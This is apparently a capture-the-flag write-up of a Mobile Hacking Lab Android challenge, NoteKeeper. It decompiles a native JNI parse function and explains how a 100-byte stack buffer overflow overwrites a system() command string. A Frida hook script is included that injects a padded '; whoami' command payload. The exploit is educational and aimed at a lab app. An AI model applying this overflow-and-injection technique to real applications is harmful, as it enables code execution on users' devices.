MobileHackingLab Notekeeper
Introduction
The NoteKeeper app presents an interesting buffer overflow vulnerability challenge from Mobile Hacking Lab. This note-taking application contains a critical vulnerability that allows for remote code execution. In this writeup, I'll document my approach to analyzing and exploiting this vulnerability.
Initial Reconnaissance
The app appears straightforward - a simple note-taking application where users can add titles and descriptions for their notes.
Static Analysis
Decompiling the APK
I used jadx-gui to decompile the APK. Examining the MainActivity revealed an interesting native method:
public final native String parse(String str);
And the library loading code in the static initializer:
static {
System.loadLibrary("notekeeper");
}
A native library means potential memory corruption vulnerabilities.
Native Library Analysis
I extracted the libnotekeeper.so
file from the APK and opened it in Ghidra. After analyzing the binary, I located the corresponding JNI function:
Java_com_mobilehackinglab_notekeeper_MainActivity_parse
The function's decompiled code revealed several concerning elements:
Java_com_mobilehackinglab_notekeeper_MainActivity_parse(_JNIEnv *param_1, undefined8 param_2, _jstring *param_3)
{
int local_2a8;
char local_2a4[100];
char acStack_240[500];
int local_4c;
ushort *local_48;
_jstring *local_40;
undefined8 local_38;
_JNIEnv *local_30;
undefined8 local_28;
local_40 = param_3;
local_38 = param_2;
local_30 = param_1;
local_48 = (ushort *)_JNIEnv::GetStringChars(param_1, param_3, (uchar *)0x0);
local_4c = _JNIEnv::GetStringLength(local_30, local_40);
memcpy(acStack_240, "Log \"Note added at $(date)\"", 500);
if (local_48 == (ushort *)0x0) {
local_28 = 0;
}
else {
local_2a4[0] = FUN_00100bf4(*local_48 & 0xff);
for (local_2a8 = 1; local_2a8 < local_4c; local_2a8 = local_2a8 + 1) {
local_2a4[local_2a8] = (char)local_48[local_2a8];
}
system(acStack_240);
local_2a4[local_2a8] = '\0';
local_28 = _JNIEnv::NewStringUTF(local_30, local_2a4);
}
return local_28;
}
The
local_2a4
buffer is fixed at 100 bytesThe copy loop uses
local_4c
(the input string length) without any bounds checkingA
system()
call executes a command stored inacStack_240
If I provide a string longer than 100 characters, I can overflowlocal_2a4
and potentially overwriteacStack_240
, which is used in thesystem()
call.
Vulnerability Analysis
The vulnerability occurs because:
The title string is passed to the native
parse()
functionThe function copies characters from the input to a fixed-size buffer without length validation
The buffer overflow can overwrite adjacent memory, including the command string passed to
system()
The stack layout suggests thatacStack_240
is positioned afterlocal_2a4
in memory, which means a sufficiently long input will overwrite the command executed bysystem()
.
Crafting the Exploit
To exploit this vulnerability, I need to: 4. Provide a title long enough to overflow the 100-byte buffer 5. Add a command injection payload that will overwrite the original command. This should execute the whoami
command and save the output to a file in the app's data directory.
Testing with Frida
To reliably inject my payload, I used Frida to hook the parse()
method:
Java.perform(function () {
var MainActivity = Java.use('com.mobilehackinglab.notekeeper.MainActivity');
var parse = MainActivity.parse.overload('java.lang.String');
parse.implementation = function (title) {
var payload = "A".repeat(100);
payload += "XXXX";
payload += "; whoami > /data/data/com.mobilehackinglab.notekeeper/commandInjection.txt";
console.log("[+] Injected payload: " + payload);
return parse.call(this, payload);
};
});
I started Frida and attached to the NoteKeeper app:
frida -U -p 6501 -l frida-script.js

Root Cause Analysis
This vulnerability exists because:
User input (the note title) is directly processed by unsafe native code
The native code performs unbounded string copying into a fixed-size buffer
The command string for
system()
is located in a memory area that can be overwritten by the buffer overflow
Conclusion
The NoteKeeper challenge demonstrates a classic buffer overflow vulnerability in a modern Android application. By analyzing the native code and understanding the memory layout, I was able to craft an exploit that achieved remote code execution.
This reinforces the importance of secure coding practices, especially when dealing with native code in Android applications. Even in 2025, memory corruption vulnerabilities continue to be a significant security risk, particularly in applications that combine managed Java/Kotlin code with native libraries.
Last updated